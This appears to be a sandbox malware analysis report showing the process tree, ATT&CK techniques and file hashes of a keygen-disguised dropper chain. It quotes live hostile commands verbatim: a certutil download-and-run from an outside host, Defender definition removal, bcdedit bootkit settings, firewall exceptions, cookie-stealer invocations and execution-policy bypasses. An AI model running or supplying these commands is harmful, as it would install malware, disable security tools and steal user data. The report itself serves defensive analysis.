C:\Users\Admin\AppData\Local\Temp\is-T7616.tmp\23E04C4F32EF2158.tmp"C:\Users\Admin\AppData\Local\Temp\is-T7616.tmp\23E04C4F32EF2158.tmp" /SL5="$4020E,762308,115712,C:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exe" /silent7⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\DTS\seed.sfx.exe"C:\Program Files (x86)\DTS\seed.sfx.exe" -pX7mdks39WE0 -s18⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files (x86)\Seed Trade\Seed\seed.exe"C:\Program Files (x86)\Seed Trade\Seed\seed.exe"9⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/14Zhe7"8⤵
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://iplogger.org/14Zhe79⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe"6⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 37⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exeC:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe 200 installp15⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe"6⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 37⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"5⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 36⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe"4⤵
- Executes dropped EXE
- Modifies system certificate store
-
C:\Users\Admin\AppData\Local\Temp\O2YBFYANC3\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\O2YBFYANC3\multitimer.exe" 0 3060197d33d91c80.94013368 0 1015⤵
- Executes dropped EXE
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\O2YBFYANC3\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\O2YBFYANC3\multitimer.exe" 1 1016⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"4⤵
- Executes dropped EXE
-
C:\ProgramData\2719482.29"C:\ProgramData\2719482.29"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\ProgramData\433606.4"C:\ProgramData\433606.4"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
-
C:\ProgramData\Windows Host\Windows Host.exe"C:\ProgramData\Windows Host\Windows Host.exe"6⤵
- Executes dropped EXE
-
C:\ProgramData\8427628.92"C:\ProgramData\8427628.92"5⤵
- Executes dropped EXE
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 10206⤵
- Suspicious behavior: GetForegroundWindowSpam
-
C:\ProgramData\5857830.64"C:\ProgramData\5857830.64"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding C7CE49817DDC855EDFA00E89DB96632E C2⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\9897.exeC:\Users\Admin\AppData\Local\Temp\9897.exe1⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\3db345d3-ee9d-459c-ba60-f3444380c61e" /deny *S-1-1-0:(OI)(CI)(DE,DC)2⤵
- Modifies file permissions
-
C:\Users\Admin\AppData\Local\Temp\9897.exe"C:\Users\Admin\AppData\Local\Temp\9897.exe" --Admin IsNotAutoStart IsNotTask2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\bcb6bc76-69aa-4f59-bf5e-b45e81f08461\updatewin1.exe"C:\Users\Admin\AppData\Local\bcb6bc76-69aa-4f59-bf5e-b45e81f08461\updatewin1.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\bcb6bc76-69aa-4f59-bf5e-b45e81f08461\updatewin1.exe"C:\Users\Admin\AppData\Local\bcb6bc76-69aa-4f59-bf5e-b45e81f08461\updatewin1.exe" --Admin4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "& {Start-Process PowerShell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -File ""C:\Users\Admin\AppData\Local\script.ps1""' -Verb RunAs}"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\script.ps16⤵
-
C:\Program Files\Windows Defender\mpcmdrun.exe"C:\Program Files\Windows Defender\mpcmdrun.exe" -removedefinitions -all5⤵
- Deletes Windows Defender Definitions
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\delself.bat""5⤵
-
C:\Users\Admin\AppData\Local\bcb6bc76-69aa-4f59-bf5e-b45e81f08461\updatewin2.exe"C:\Users\Admin\AppData\Local\bcb6bc76-69aa-4f59-bf5e-b45e81f08461\updatewin2.exe"3⤵
- Drops file in Drivers directory
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\bcb6bc76-69aa-4f59-bf5e-b45e81f08461\updatewin.exe"C:\Users\Admin\AppData\Local\bcb6bc76-69aa-4f59-bf5e-b45e81f08461\updatewin.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe/c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Local\bcb6bc76-69aa-4f59-bf5e-b45e81f08461\updatewin.exe4⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 35⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\bcb6bc76-69aa-4f59-bf5e-b45e81f08461\5.exe"C:\Users\Admin\AppData\Local\bcb6bc76-69aa-4f59-bf5e-b45e81f08461\5.exe"3⤵
- Executes dropped EXE
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 5.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\bcb6bc76-69aa-4f59-bf5e-b45e81f08461\5.exe" & del C:\ProgramData\*.dll & exit4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 5.exe /f5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 65⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\Temp\C6BA.exeC:\Users\Admin\AppData\Local\Temp\C6BA.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo MFbR2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Declinante.html2⤵
-
C:\Windows\SysWOW64\cmd.execmd3⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^vbzKnQFSqnlAJtUxNfEmiqqLJfcsIqUhKbnAvosGDfELCESlYcgqhNQcvIqpchlqDWPjFzXEXXVRvfoyblzjLTqXHrtOiokftEiFOGFFnJrfSYZuAVMkUYgKWSECgobOMFMRoCdQFOOwQKtJrX$" Quel.cab4⤵
-
C:\Users\Admin\AppData\Local\Temp\HbupnlUNxCFbW\Sui.comSui.com Benedetto.txt4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\HbupnlUNxCFbW\Sui.comC:\Users\Admin\AppData\Local\Temp\HbupnlUNxCFbW\Sui.com Benedetto.txt5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\HbupnlUNxCFbW\Sui.comC:\Users\Admin\AppData\Local\Temp\HbupnlUNxCFbW\Sui.com6⤵
- Executes dropped EXE
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Sui.com /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\HbupnlUNxCFbW\Sui.com" & del C:\ProgramData\*.dll & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Sui.com /f8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 304⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\DBE0.exeC:\Users\Admin\AppData\Local\Temp\DBE0.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\E36F.exeC:\Users\Admin\AppData\Local\Temp\E36F.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\E36F.exeC:\Users\Admin\AppData\Local\Temp\E36F.exe2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\F6C2.exeC:\Users\Admin\AppData\Local\Temp\F6C2.exe1⤵
- Executes dropped EXE
- Modifies system certificate store
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\1615.exeC:\Users\Admin\AppData\Local\Temp\1615.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\1615.exe"C:\Users\Admin\AppData\Local\Temp\1615.exe"2⤵
- Executes dropped EXE
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies data under HKEY_USERS
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe /15-153⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies system certificate store
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Modifies system certificate store
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 05⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 15⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -timeout 05⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
-
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeC:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe4⤵
- Executes dropped EXE
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)5⤵
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)6⤵
-
C:\Users\Admin\AppData\Local\Temp\2CA2.exeC:\Users\Admin\AppData\Local\Temp\2CA2.exe1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\40BF.exeC:\Users\Admin\AppData\Local\Temp\40BF.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe3⤵
- Kills process with taskkill
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "1" "200" "STORAGE\VolumeSnapshot\HarddiskVolumeSnapshot12" "" "" "6d110b0a3" "0000000000000000" "00000000000005C8" "00000000000005C4"1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
C:\Users\Admin\AppData\Local\Temp\1010.tmp.exeC:\Users\Admin\AppData\Local\Temp\1010.tmp.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\11E5.tmp.exeC:\Users\Admin\AppData\Local\Temp\11E5.tmp.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\23A1.tmp.exeC:\Users\Admin\AppData\Local\Temp\23A1.tmp.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\2BDC.tmp.exeC:\Users\Admin\AppData\Local\Temp\2BDC.tmp.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\3697.tmp.exeC:\Users\Admin\AppData\Local\Temp\3697.tmp.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\3DE8.tmp.exeC:\Users\Admin\AppData\Local\Temp\3DE8.tmp.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\421D.exeC:\Users\Admin\AppData\Local\Temp\421D.exe1⤵
- Executes dropped EXE
- Drops startup file
-
C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"2⤵
- Suspicious behavior: AddClipboardFormatListener
-
C:\Users\Admin\AppData\Local\Temp\51A8.exeC:\Users\Admin\AppData\Local\Temp\51A8.exe1⤵
- Writes to the Master Boot Record (MBR)
-
C:\Users\Admin\AppData\Local\Temp\6799.tmp.exeC:\Users\Admin\AppData\Local\Temp\6799.tmp.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Persistence
Modify Existing Service
1Registry Run Keys / Startup Folder
1Bootkit
1Scheduled Task
1Defense Evasion
Impair Defenses
2Disabling Security Tools
2Modify Registry
4File Permissions Modification
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850DMD5
123d599c3e6c78968ed0739ff7345bd0
SHA16e0bff323e852ae713ceb7f6f758635e86678387
SHA256926215bf0d3fb87b3a47d6c7fe020abc85eae3e86ab6fc1c19cd2c4a94370d87
SHA512bcee13bb7ef44ee1a0bb20365107e577a842a0eafc7664080142f423f17b5a8fd18b3784446843c47677a7fd4e03df40822602d472e15455e02aa39a152363e6
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711EMD5
cc891b6819a20fab9896a0124f9ff0cd
SHA1483519d8905cb4468b5e3f5e69b95bce4ea6968a
SHA25685c99131f671c26c64f6db599ae995a263a238d41171149f679acabe0cc97d6f
SHA5127fd931f17876951a5f106a149e69abfac8e5fb11c3a4187f74d11abb9de0552881fa046ea731edc4d920f429e7af664835d7c649e1814874b54c79dd79209f56
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850DMD5
4aef6c0d6630d40788850f7f8e6d9098
SHA15073a9b5c6612740f73c8c52fb14b19ee1a4b4da
SHA25688be430f329e92827e9b7b88e6d32f6fd9fe39a2b020f49f9fd5ae84ed8a395f
SHA512632903a63818d21943a419dea60138ffef175a7432850d830fef02237bf69b1de562d377f0224e13bddd6a7a14a958195fbaf51c6d2d163f31d5a1af9a2d5b43
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5EE9003E3DC4134E8CF26DC55FD926FAMD5
afa36b60e1d3436b825957bd978752ee
SHA1a6e4c0602b8f5ca710ce2f1f7453fe975445ab90
SHA256b8a0bdebf1168add727a6de2fe2648cdc575d5ce4d2c061087220a234040628c
SHA5125cefaa351b39cb3c8d5f410b360c7ec44f7ffd819ebc7a8a9705a6cd43d57e6b8b7ad3b80f1dabbfbb546162ef557bc595d45193af29e5735c9ce9d2fbbfc033
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711EMD5
c7954aa0c415c0a3ec41f11a01c7177a
SHA152a241e1175ac2dfaf671b708f8265e290aa5393
SHA2565fd94961816d110a5c4afa7764b3da404c8ebe58bdd2cbc2b7bd07f484c2fb8b
SHA512a0d140d9e591930aa027d4b5ce9e4db3a02a9766c2834647ed52cb9137bcf2da223c9312ea627e3a13a8f2be44d58a24c191f4e140ebe97275b1488b1f40ee4d
-
C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exeMD5
afd51e2ff7beac4d0c88d8f872d6d0d5
SHA1185fd4793db912410de63ac7a5a3b1ac9c266b38
SHA256cecdc8bd4344647b2182696cf04e1db4fbb29aee6b46811999008901910b5c19
SHA512eed33fd55a82fceea21f522a6c59d3e318d7e73c86e9b1f039e37b3ccd6c0b58df24dabfcb71d8ccb818dd236cc329804d6a947240619ad26aed8713fe19a418
-
C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exeMD5
afd51e2ff7beac4d0c88d8f872d6d0d5
SHA1185fd4793db912410de63ac7a5a3b1ac9c266b38
SHA256cecdc8bd4344647b2182696cf04e1db4fbb29aee6b46811999008901910b5c19
SHA512eed33fd55a82fceea21f522a6c59d3e318d7e73c86e9b1f039e37b3ccd6c0b58df24dabfcb71d8ccb818dd236cc329804d6a947240619ad26aed8713fe19a418
-
C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exeMD5
afd51e2ff7beac4d0c88d8f872d6d0d5
SHA1185fd4793db912410de63ac7a5a3b1ac9c266b38
SHA256cecdc8bd4344647b2182696cf04e1db4fbb29aee6b46811999008901910b5c19
SHA512eed33fd55a82fceea21f522a6c59d3e318d7e73c86e9b1f039e37b3ccd6c0b58df24dabfcb71d8ccb818dd236cc329804d6a947240619ad26aed8713fe19a418
-
C:\Users\Admin\AppData\Local\Temp\MSI26D2.tmpMD5
84878b1a26f8544bda4e069320ad8e7d
SHA151c6ee244f5f2fa35b563bffb91e37da848a759c
SHA256809aab5eace34dfbfb2b3d45462d42b34fcb95b415201d0d625414b56e437444
SHA5124742b84826961f590e0a2d6cc85a60b59ca4d300c58be5d0c33eb2315cefaf5627ae5ed908233ad51e188ce53ca861cf5cf8c1aa2620dc2667f83f98e627b549
-
C:\Users\Admin\AppData\Local\Temp\O2YBFYANC3\multitimer.exeMD5
0af0920310225c47eb504c811ada9554
SHA119cca7f8cf678c4516a4edee01774133445f9e27
SHA256b65bbacc41547f79c2a9ccbde9226df6853e5c70a7314cafafeb2dbd9a3761ee
SHA51260df59aa0d3f20e817cdc6dd1b2d74a2343e892304dc474096e24e479527de3ef4d1fe5fe6179deed2e3b3d1212acc93c6a2d800dd73e765ff4eea26ac2cde2a
-
C:\Users\Admin\AppData\Local\Temp\O2YBFYANC3\multitimer.exe.configMD5
3f1498c07d8713fe5c315db15a2a2cf3
SHA1ef5f42fd21f6e72bdc74794f2496884d9c40bbfb
SHA25652ca39624f8fd70bc441d055712f115856bc67b37efb860d654e4a8909106dc0
SHA512cb32ce5ef72548d1b0d27f3f254f4b67b23a0b662d0ef7ae12f9e3ef1b0a917b098368b434caf54751c02c0f930e92cffd384f105d8d79ee725df4d97a559a3d
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exeMD5
65b49b106ec0f6cf61e7dc04c0a7eb74
SHA1a1f4784377c53151167965e0ff225f5085ebd43b
SHA256862a8cf0e5561c848145a1a1f464acf77f92a3b15cc43722a7208701f60a2fcd
SHA512e9030cd609f42fb616e5bac3a5203ae46bbae9ec95682432a367f8805cdaa3e30c18a732ceddb0545ac653d543348a6728866149d2822752c80948066bfdf3da
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exeMD5
65b49b106ec0f6cf61e7dc04c0a7eb74
SHA1a1f4784377c53151167965e0ff225f5085ebd43b
SHA256862a8cf0e5561c848145a1a1f464acf77f92a3b15cc43722a7208701f60a2fcd
SHA512e9030cd609f42fb616e5bac3a5203ae46bbae9ec95682432a367f8805cdaa3e30c18a732ceddb0545ac653d543348a6728866149d2822752c80948066bfdf3da
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exeMD5
c615d0bfa727f494fee9ecb3f0acf563
SHA16c3509ae64abc299a7afa13552c4fe430071f087
SHA25695d91febc45d03c1ee477c127bcbd332cd6fbce1e91105004af723594e6f0199
SHA512d97256eb93d8e546f5fb5c61bebe61e7dfab316eb7685be83782bd36b28df3f80880e7b823197a4b6bae1af7b9460c4c81357dd44ed199ab93ccaee5acc10e51
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exeMD5
c615d0bfa727f494fee9ecb3f0acf563
SHA16c3509ae64abc299a7afa13552c4fe430071f087
SHA25695d91febc45d03c1ee477c127bcbd332cd6fbce1e91105004af723594e6f0199
SHA512d97256eb93d8e546f5fb5c61bebe61e7dfab316eb7685be83782bd36b28df3f80880e7b823197a4b6bae1af7b9460c4c81357dd44ed199ab93ccaee5acc10e51
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exeMD5
9aaafaed80038c9dcb3bb6a532e9d071
SHA14657521b9a50137db7b1e2e84193363a2ddbd74f
SHA256e019f9e9da75b4b108fd9a62853e5966d13a33fc13718b8248041204316edff5
SHA5129d69afc8c16ddc2261b46cc48e7ca2176e35a19534d82c6245baa6318b478fd63d1235a8418c07bf11cb5386aa0ee9879db90866b88251b16b959880d6ab0996
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exeMD5
9aaafaed80038c9dcb3bb6a532e9d071
SHA14657521b9a50137db7b1e2e84193363a2ddbd74f
SHA256e019f9e9da75b4b108fd9a62853e5966d13a33fc13718b8248041204316edff5
SHA5129d69afc8c16ddc2261b46cc48e7ca2176e35a19534d82c6245baa6318b478fd63d1235a8418c07bf11cb5386aa0ee9879db90866b88251b16b959880d6ab0996
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exeMD5
5f6a71ec27ed36a11d17e0989ffb0382
SHA1a66b0e4d8ba90fc97e4d5eb37d7fbc12ade9a556
SHA256a546a1f257585e2f4c093db2b7eeb6413a314ffb1296d97fd31d0363e827cc65
SHA512d67e0f1627e5416aef1185aea2125c8502aac02b6d3e8eec301e344f5074bfce8b2aded37b2730a65c04b95b1ba6151e79048642ef1d0c9b32702f919b42f7b4
-
